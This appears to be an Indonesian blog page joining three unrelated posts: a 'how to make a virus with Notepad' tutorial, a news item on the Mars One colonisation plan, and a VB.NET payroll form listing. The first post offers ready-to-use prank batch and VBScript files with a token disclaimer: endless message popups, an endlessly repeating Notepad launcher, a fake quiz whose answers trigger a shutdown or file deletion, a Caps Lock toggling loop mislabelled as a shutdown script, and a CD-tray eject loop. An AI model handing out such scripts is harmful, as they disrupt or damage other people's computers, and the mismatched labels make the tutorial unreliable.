Pengikut

Selasa, 28 Mei 2013

Cara Membuat Virus Dengan Notepad

Cara Membuat Virus Dengan Notepad



Cara membuat virus sederhana dengan notepad , hanya untuk pengetahuan aja gan jangan disalah gunakan untuk hal2 yg tidak baik hehe. , berikut tutorialnya gan

1. Message yg muncul terus menerus
cara nya buka notepad lalu masukan script di bawah ini :


@ECHO off
:
Begin
msg * Lagi ngapain ?
msg * Hayo buka apa ?
msg * Nanti dimarahin ama mak loe
msg * Makannya jangan sembrono !
msg * minta bantuan gih sono !
msg * Udah instal ulang aja !!!!
msg * tit............................
GOTO BEGIN


bisa dirubah sesuai keinginan anda!
simpan dengan berekstensi .bat contoh cyber4rt.bat



2.  pertanyaan menjebak
script nya

@echo off
title quiz hari ini 
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

simpan dengan .bat contoh contoh = quizcyber4rt.bat

3. Membuka notepad terus-menerus
script nya
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

sama simpan dengan .bat

4. komputer mati sendiri dan ngirim message
script nya

Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

simpan dengan .vbs

5. buka tutup cd room terus menerus
script nya

Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

"Manusia akan dipindahkan ke Mars"

Mungkinkah Manusia Akan Mengolonisasi Mars ?

 
Misi ambisius ke Mars ditawarkan oleh organisasi asal Belanda, Mars One. Organisasi itu berencana mengirim manusia ke Mars tanpa ada kesempatan kembali. Perjalanan ke Mars memakan waktu 8 bulan dan sesudahnya manusia yang dikirim diharapkan bisa mengolonisasi planet merah itu.
 
Pertanyaannya, mungkinkah manusia dengan teknologi saat ini sampai ke Mars dan mengolonisasinya? 
 
Pihak Mars One menyatakan optimisme bahwa manusia bisa melakukannya. Namun, para ahli mengungkap tantangannya.
 
Salah satu tantangannya adalah radiasi. Medan magnet Bumi melindungi manusia dari pengaruh radiasi. Namun, di luar angkasa, manusia tidak punya pelindung. Baik dalam perjalanan maupun setibanya di Mars, manusia berpotensi terpapar radiasi.
 
"Paparan radiasi menjadi salah satu perhatian, terutama selama perjalanan. Ini bisa memicu kanker, penurunan kekebalan tubuh, dan mungkin juga kemandulan," ungkap Veronica Bray dari Lunar and Planetary Laboratory, University of Arizona.
 
"Saya yakin kita secara fisik bisa menempatkan manusia di Mars. Namun, apakah mereka bisa survive dalam jangka waktu lama, itu meragukan," kata Bray seperti dikutip BBC (17/4/2013).
 
Astronot NASA yang pernah menjalankan misi ke International Space Station (ISS), Stan Love, mengungkapkan kesulitan hidup di luar angkasa. Misalnya, permasalahan pada alat penunjang kehidupan tidak mudah diatasi.
 
Love mengungkapkan, peralatan yang mendukung proses daur ulang takkan mudah diatasi. Padahal, di Mars nanti, manusia akan sangat tergantung pada alat. Peralatan butuh pemeliharaan secara berkala, dan sulit bertahan dalam waktu lama berada di Mars.
 
Love baru-baru ini kembali dari Antartika. Dari komentarnya, ia ingin mengatakan bahwa kondisi di Mars benar-benar asing dan jauh lebih ekstrem dibandingkan Antartika yang sudah dianggap ekstrem oleh manusia umumnya.
 
"Antartika dipenuhi air, Anda bisa pergi ke luar dan menghirup udara. Antartika adalah surga dibandingkan Mars dan hingga saat ini belum ada yang pindah secara permanen ke sana," ungkap Love.
 
Di luar tantangan yang terprediksi, masih banyak tantangan lain yang tak terbayangkan. Misalnya, masalah hidup dalam kelompok kecil dan kehidupan personal lain. Belum bisa dipastikan juga apakah manusia juga bisa bereproduksi di Mars serta menghasilkan keturunan yang sehat.
 
Banyak pihak mengritik Mars One terkait pendanaan. Dana yang dibutuhkan sekitar 6 miliar dollar AS. Chris Lintott dari Oxford University menyatakan, meskipun mungkin secara teknologi mendukung, ia meyakini bahwa Mars One akan kesulitan mendapatkan pendanaan.
 
Meski demikian, Bas Lansdorp, co-founder Mars One, mengungkapkan tak khawatir dengan pendanaan. Dana akan digalang dari acara pemilihan manusia pertama yang pergi ke Mars. Acara akan ditayangkan di televisi dan diharapkan bisa membuahkan keuntungan untuk mendukung proyek.
"Ini akan menjadi hal terbesar yang manusia pernah lakukan. Dalam 15 tahun, orang masih akan melihat. Menjelajahi dunia kita, dan kini melampaui apa yang bisa dilakukan, itu semua ada di genom kita. Mimpi menduduki Mars akan menjadi nyata," katanya". rencana ini akan dilaksanakan pada tahun 2023.

 

PENGGAJIAN PEGAWAI MENGGUNAKAN LISTVIEW






LISTING PROGRAM:

Public Class form1
    Sub BuatTabel()
        ListView1.Columns.Add("Nik", 50, HorizontalAlignment.Left)
        ListView1.Columns.Add("Nama", 80, HorizontalAlignment.Left)
        ListView1.Columns.Add("Jabatan", 120, HorizontalAlignment.Left)
        ListView1.Columns.Add("Gaji", 120, HorizontalAlignment.Left)
        ListView1.Columns.Add("Status", 120, HorizontalAlignment.Left)
        ListView1.Columns.Add("Tunjangan istri", 120, HorizontalAlignment.Left)
        ListView1.Columns.Add("Jumlah Anak", 120, HorizontalAlignment.Left)
        ListView1.Columns.Add("Tunjangan Anak", 120, HorizontalAlignment.Left)
        ListView1.Columns.Add("Jam Lembur", 120, HorizontalAlignment.Left)
        ListView1.Columns.Add("Honor lembur", 120, HorizontalAlignment.Left)
        ListView1.Columns.Add("Pajak", 90, HorizontalAlignment.Left)
        ListView1.Columns.Add("Total Gaji", 90, HorizontalAlignment.Left)
        ListView1.View = View.Details
        ListView1.GridLines = True
        ListView1.FullRowSelect = True

    End Sub


    Sub IsiTabel()
        Dim Lst As New ListViewItem
        Lst.Text = nik.Text
        Lst.SubItems.Add(nama.Text)
        Lst.SubItems.Add(jbtn.Text)
        Lst.SubItems.Add(gaji.Text)
        Lst.SubItems.Add(status.Text)
        Lst.SubItems.Add(tnjganistri.Text)
        Lst.SubItems.Add(jmlhanak.Text)
        Lst.SubItems.Add(tnjgnanak.Text)
        Lst.SubItems.Add(jamlmbur.Text)
        Lst.SubItems.Add(holembur.Text)
        Lst.SubItems.Add(pajak.Text)
        Lst.SubItems.Add(total.Text)
        ListView1.Items.Add(Lst)
    End Sub
    Private Sub jabatan_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles jbtn.SelectedIndexChanged
        Select Case (jbtn.Text)
            Case "mandor" : gaji.Text = 1750000
            Case "kepala bagian" : gaji.Text = 2500000
            Case "staff" : gaji.Text = 1250000
        End Select
        pajak.Text = 0.015 * gaji.Text
    End Sub

    Private Sub status_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles status.SelectedIndexChanged
        Dim x As String
        x = Microsoft.VisualBasic.Mid(status.Text, 2)

        Select Case (status.Text)
            Case "Menikah" : tnjganistri.Text = 0.09 * gaji.Text
            Case "tidak menikah" : tnjganistri.Text = 0

                status.Text = Val(tnjganistri.Text) * Val(status.Text)
        End Select
    End Sub

    Private Sub jumlah_anak_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles jmlhanak.SelectedIndexChanged
        Dim x As String
        x = Microsoft.VisualBasic.Mid(status.Text, 2)

        If jmlhanak.Text >= 2 And status.Text = "Menikah" Then
            tnjgnanak.Text = 0.07 * gaji.Text
        ElseIf jmlhanak.Text = 1 And status.Text = "menikah" Then
            tnjgnanak.Text = 0.03 * gaji.Text
        End If
        jmlhanak.Text = Val(tnjgnanak.Text) * Val(jmlhanak.Text)
    End Sub
    Private Sub nik_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles nik.SelectedIndexChanged
        If nik.Text = "001" Then
            nama.Text = "Fanny"
        ElseIf nik.Text = "002" Then
            nama.Text = "Lili"
        ElseIf nik.Text = "003" Then
            nama.Text = "iwan"
        End If
    End Sub



    Private Sub btn_proses_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnproses.Click
        If jbtn.Text = "mandor" Then
            holembur.Text = "7500"
        ElseIf jbtn.Text = "kepala bagian" Then
            holembur.Text = "1000"
        ElseIf jbtn.Text = "staff" Then
            holembur.Text = "5000"
        Else
            holembur.Text = 0
        End If
        total.Text = Val(jamlmbur.Text) + Val(gaji.Text) + Val(tnjganistri.Text) + Val(tnjgnanak.Text) - Val(pajak.Text)
    End Sub
   
  
    Private Sub btn_keluar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnkeluar.Click
        Me.Close()
    End Sub

    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnkeluar.Click
        nik.Text = ""
        nama.Text = ""
        jbtn.Text = ""
        gaji.Text = ""
        status.Text = ""
        tnjganistri.Text = ""
        jmlhanak.Text = ""
        tnjgnanak.Text = ""
        jamlmbur.Text = ""
        holembur.Text = ""
        pajak.Text = ""
        total.Text = ""

    End Sub

    Private Sub form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        BuatTabel()
        nik.Items.Add("001")
        nik.Items.Add("002")
        nik.Items.Add("003")

        jbtn.Items.Add("mandor")
        jbtn.Items.Add("kepala bagian")
        jbtn.Items.Add("staff")

        status.Items.Add("Menikah")
        status.Items.Add("tidak menikah")

        For i = 1 To 4
            jmlhanak.Items.Add(i)
        Next i
        For i = 1 To 10
            jamlmbur.Items.Add(i)
        Next i

        Me.Text = "RAHMA YUNITA"

    End Sub

    Private Sub Btnsimpan_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Btnsimpan.Click
     IsiTabel()
    End Sub

   Private Sub btnhapusdatayangdipilih_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnhapusdatayangdipilih.Click
        ListView1.Items.Remove(ListView1.SelectedItems(0))
    End Sub
End Class


HASIL FORM: